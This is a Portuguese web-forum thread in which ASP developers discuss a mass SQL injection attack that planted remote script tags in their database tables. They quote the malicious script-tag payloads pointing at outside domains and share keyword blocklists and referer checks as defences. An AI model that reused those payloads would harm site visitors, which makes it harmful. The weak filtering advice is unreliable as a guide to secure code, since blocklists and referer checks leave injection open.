Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
fala galega ....
faz um tempinho que to com um probleminha bem pequeno, um tal de sql injection hehehe
alguns sites estão sendo atacados simultâneamente por hackers da china (maledetos) e em todas as tables é inserido um javascript (<script src=http://www.kadport.com/b.js></script><script src=http://www.web923.com/b.js></script><script src=http://www.debug73.com/b.js></script>), alguém mais está tendo algum problema parecido, já tentei várias coisas, e sempre eles conseguem "furar" o bloqueio ... to ficando de cabelo branco já com isso ... segue os codes que já tentei utilizar:
' *
' função para verificar query_string se existe sqlinjection
' *
function retornaInjection()
retornaInjection = 1
'* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
dim rsvQueryString
rsvQueryString = request.servervariables("query_string")
rsvQueryString = ucase(rsvQueryString)
'* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
if inStr(rsvQueryString, "EXEC(") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "DECLARE") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "NVARCHAR(") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "CAST(") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "FETCH") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "UPDATE") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, ".JS") > 0 then
retornaInjection = 1
elseif len(rsvQueryString) > 20 then
retornaInjection = 1
else
retornaInjection = 0
end if
end function
' *
' função para veridicar sql injection na query_string
' *
if retornaInjection() = 1 then
response.write("erro de segurança. por favor entre em contato com o administrador do site.<br>obrigado!")
response.write("<br><br>")
response.write("error of security. please contact the site administrator. thank you!")
response.end()
application.lock()
application("sqlinjection") = application("sqlinjection") &"; "& request.servervariables("remote_host") &"/"& date(now()) &" "
application.unlock()
end if
atualmente estou tentando este:
' *
' função para tratar variáveis contra sql injection
' *
query = ""
query = Request.ServerVariables("QUERY_STRING")
if InStr(ucase(query),"EXEC(") > 0 or InStr(ucase(query),".JS") > 0 or InStr(ucase(query),"DECLARE") > 0 or len(query) > 30 then
response.write("Você não pode executar este comando.")
Response.Write 1/0
end if
já tentei inclusive utilizar os dois juntos, e mesmo assim ainda sofri ataques ... nem sei mais o que fazer!!
qualquer ajuda será bem vinda ...
A substituição básica é a de aspa simples por duas aspas simples e validar todos os campos, se o campo do BD for numero: verificar se o dado recebido é numero, se for data: verificar se o dado recebido é data e assim vai.
valeu pela atenção Salgado, mas eu já faço esse tratamento nas variáveis, o problema é que o ataque está sendo por outro lado, esse método que eu to utilizando agora (aquele menorzinho) teoricamente me protege contra ataques por querystring, e o outro, faz o tratamento das instruções sql padrão (insert, update, select)
vou continuar pesquisando, e caso encontre uma solução, posto aqui no fórum.
Encontrei essa notícia em um site que freqüento: MS ATACA INJEÇÃO DE SQL EM SITES.
Como assim "o ataque está sendo feito por outro lado"? SQLInjection só ocorrem baseados em ataques a FORMS que enviam dados para serem utilizados em expressões no banco de dados. Com certeza estão atacando um campo de seu FORM que está deixando passar sem a devida validação.
na pior da hipoteses, trata os comandos
da um replace nas palavra:
• <script
• src=
da mesma forma que é dado nos comandos pra evitar o injection
<script src=http://www.kadport.com/b.js>
vai ficar
// //http://www.kadport.com/b.js>
obrigado pelas dicas, mas isso na verdade está sendo feito, o tratamento está sendo feito nas variáveis para retirar aspas simples e os outros comandos de sql injection, e nas instruções insert, select e update está sendo retirado qualquer ".js", isso teoricamente retira qualquer possibilidade de injeção, mas mesmo assim eles conseguem.
o "por outro lado" que eu disse seria uma alternativa aos forms, pois todos os forms possíveis já foram tratados, não tem como estar entrando pelo form, achamos que estão utilizando outro método, não imagino qual seja.
vou dar uma olhada nesse material que foi publicado e vejo o que consigo ...
obrigado pela força!!
o tratamento contra injection antes de gravar os dados do formulario no banco, funciona, nao fica so na teoria
a nao ser que esteja danado pau na funcao
os dados do form sao passados via query ou form?
ja tentou você mesmo injetar o codigo pra ver se grava?
como o Salgado disse, o sql injection é uma injeçao com codigos sql nos formularios
mas tb pode ser feito em aplicacoes com uso de ajax
ate um simples sistema de votacao com ajax permite injection, se nao for tratado, eu mesmo me deparei com isso antes de acontecer
faca todos testes em qq canto que poder ser vulneravel
[]s
>
o tratamento contra injection antes de gravar os dados do formulario no banco, funciona, nao fica so na teoria
a nao ser que esteja danado pau na funcao
os dados do form sao passados via query ou form?
ja tentou você mesmo injetar o codigo pra ver se grava?
como o Salgado disse, o sql injection é uma injeçao com codigos sql nos formularios
mas tb pode ser feito em aplicacoes com uso de ajax
ate um simples sistema de votacao com ajax permite injection, se nao for tratado, eu mesmo me deparei com isso antes de acontecer
faca todos testes em qq canto que poder ser vulneravel
[]s
eu pensei nessa hipótese também, mas não é pau na função não, eu já testei isso...
a maioria dos dados é passada por query, e uma menor parte por form, porém, em ambas situações crio variáveis e faço o tratamento assim:
variavel = request("variavel")
variavelfinal = tratavariavel(variavel)
dentro da função tratavariavel executo a limpeza:
replace(variavel,"'","")
e também executo o código listado no primeiro topico, para limpar qualquer ".js" e eliminar os comandos basicos (xp, shutdown, drop, etc) ...
mas entendi o que você me falou, vou dar uma olhada mais a fundo, mas acredito não ter falhas na programação, qualquer coisa, posto aqui pra galera
abraço
qq coisa tenta ver com o servidor, pede o log ou alguma coisa referente pra você dar uma olhada
em todas as tables é inserido um javascript
o problema tb pode ser no servidor, podem estar atacando o banco direto, se todas tabelas estao com o memso codigo, deve ser mais provavel que seja furo do host
o log vai te dar mais resultado do que você perguntar
hospedei um site num servidor e a minha index era uma mulher pelada e um endereco de IRC, e os caras do host juraram que nao tinha sido invadido
heehehehhehehe
[]s
>
qq coisa tenta ver com o servidor, pede o log ou alguma coisa referente pra você dar uma olhada
em todas as tables é inserido um javascript
o problema tb pode ser no servidor, podem estar atacando o banco direto, se todas tabelas estao com o memso codigo, deve ser mais provavel que seja furo do host
o log vai te dar mais resultado do que você perguntar
hospedei um site num servidor e a minha index era uma mulher pelada e um endereco de IRC, e os caras do host juraram que nao tinha sido invadido
heehehehhehehe
[]s
b
certo, pode ser sim ... vou confirmar pelo log ... minha hospedagem é na locaweb, teoricamente seria difícil a invasão, mas é uma possibilidade não tão descartável ...
valeu!!
realmente é mais dificil invadir a locaweb do que esses servers meia boca, mas nao é impossivel ne
se ainda fosse na tabela do formulario, poderiamos ficar tratando do codigo como o problema
como você disse que em todas as tables é inserido esse javascript, acho eu, que possa ser via server ou entao você ta com um keyloger
ve o log dos acessos externos ao banco se for possivel
rastreie todas as possibilidades
quando descobrir fala de onde veio, fiquei curioso heehhe
[]s e boa sorte
Me expressei mal quando disse FORMS, na verdade queria me referir a qualquer passagem de dados, tanto via form quanto por querystrings.
Dependendo do que o Script (não o seu, o do atacante) que executou o SQLInjection ele pode até ter aberto uma porta de entrada, gerando um script "extra" em seu sistema ou até mesmo criar usuário/senha para a base de dados(caso de MySQL/SQLServer).
entendi, bom, independente de qualquer coisa eu estou verificando com a locaweb o que podemos fazer em conjunto, pois descobri que estes ataques estão acontecendo em vários servidores do mundo todo, ainda não sei o método utilizado, mas sei que está sendo muito eficaz.
assim que eu tiver uma solução, posto aqui no fórum pra galera não ter os mesmos problemas que estou tendo.
No link que te passei há um outro link para o site da MicroSoft e de lá para o site da HP, lá tem um programa que pesquisa e encontra possíveis brechas em scripts, dê uma olhada lá novamente.
No link que te passei há um outro link para o site da MicroSoft e de lá para o site da HP, lá tem um programa que pesquisa e encontra possíveis brechas em scripts, dê uma olhada lá novamente.
vou olhar sim, com certeza ... obrigado!
Pessoal,
Estamos passando por este mesmo problema! Já tem mais de 1 mês que estamos sofrendo com esse mesmo ataque.
Nos primeiros ataques, todas as tabelas que tem campo texto(char,varchar,nvarchar) sofriam alterações.
Colocamos o seguinte tratamento nos parâmetros recebidos de um form:
CODE
function stripQuotes(strWords) stripQuotes = replace(strWords, "'", "''")
end function
function killChars(strWords)
dim badChars, newChars,i
strWords = stripQuotes(strWords)
badChars = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "UPDATE", "XP_", "SCRIPT")
newChars = UCase(strWords)
'response.Write(lBound(badChars)& " " &uBound(badChars))
for i = lBound(badChars) to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
killChars = newChars
end function
Mas não resolveu.
Estamos partindo para o nível de negar acesso de insert, update e delete nas tabelas para o usuário da aplicação, e as alterações fazemos via procedure. Essa é a única alternativa que chegamos. Para manipular os dados, estamos usando stores procedures.
O mais estranho é que tivemos problema em 1 tabela de um outro bd, que está em outro servidor. Estamos desconfiando de que tenha alguma rotina no servidor do iis que de alguma forma pega as conexões nos códigos(?) e realizam essas investidas...até agora é só mais uma especulação...
quem tiver mais notícias, favor nos ajudar!! http://forum.imasters.com.br/public/style_emoticons/default/blush.gif
Faz tempo que não trabalho com asp ou sql injection mas vejam ae o seguinte...
Antes de verificar qualquer coisa pensei em verificar a origem da requisição.
Nem pego os valores das variáveis esperadas, verifico a origem da requisição antes de qualquer coisa no script.
teste.asp
<%
' -------------------------------------------------------------------------------
' essa função ficaria em um include
sub verifica_origem(pagina)
referencia = Request.ServerVariables("HTTP_REFERER")
if isEmpty(referencia) then
msg = "A requisição veio de outro site ou via querystring"
else
msg = "A requisição veio da seguinte página: "& referencia
end if
response.write(msg)
posicao_da_query = InStr(referencia,"?")
if posicao_da_query > 0 then
referencia = Left(referencia,Cint(posicao_da_query-1))
end if
url_base = "localhost/" ' coloque teu domínio
referencia = replace(referencia,"http://www.","")
referencia = replace(referencia,"http://","")
if referencia <> url_base & pagina then response.write "<br>nem avise o usuário que algo não permitido ocorreu, só redirecione ele para a home ou para qualquer outra página com o response.redirect"
end sub
' -------------------------------------------------------------------------------
' no início da página que precisa de segurança contra sql injection você verifica a origem da requisição, verifica quem está chamando a página.
pagina = "teste.asp" ' neste exemplo a página envia os dados para ela mesma mas saque q o valor da variável é referente ao nome da página q fez a requisição.
call verifica_origem(pagina)
%>
<br>
<a href="teste.asp?a=sdsadad">Agora clique aqui e veja a mensagem da verificação.</a>Vejam/testem ae... se eu estiver errado a culpa foi do meu sono ;]
Além de substituir as aspas, retire também qualquer caractere especial, como & = %. Isso também dificulta a injeção.
E faça a validação por asp+vbscript, nunca por javascript puro, pois aí desativando o js no navegador seu código é ignorado.
essa função vai auxiliar para não executar o inject
Function blockInjection(entrada)
Dim i
Dim palavra
Dim arrayReservado : arrayReservado = Array(_
"UPDATE", _
"SELECT", _
"INSERT", _
"DELETE", _
"DROP", _
"XTYPE", _
"EXEC", _
"VARCHAR", _
"DECLARE", _
"'", _
"EXECUTE", _
"XP_", _
"FROM", _
"NULL", _
"SET", _
"CAST", _
"CONVERT", _
"DATABASE", _
"TABLE", _
"WHERE", _
"--" _
)
For i = 0 To uBound(arrayReservado)
palavra = 1
While palavra <> 0
palavra = inStr(1, entrada, arrayReservado(i), vbTextCompare)
If palavra <> 0 Then
entrada = Left(entrada, palavra - 1) & "" & Asc(Mid(entrada, palavra, 1)) & ";" & Right(entrada, Len(entrada) - palavra)
End If
Wend
Next
blockInjection = entrada
A substituição básica é a de aspa simples por duas aspas simples e validar todos os campos, se o campo do BD for numero: verificar se o dado recebido é numero, se for data: verificar se o dado recebido é data e assim vai.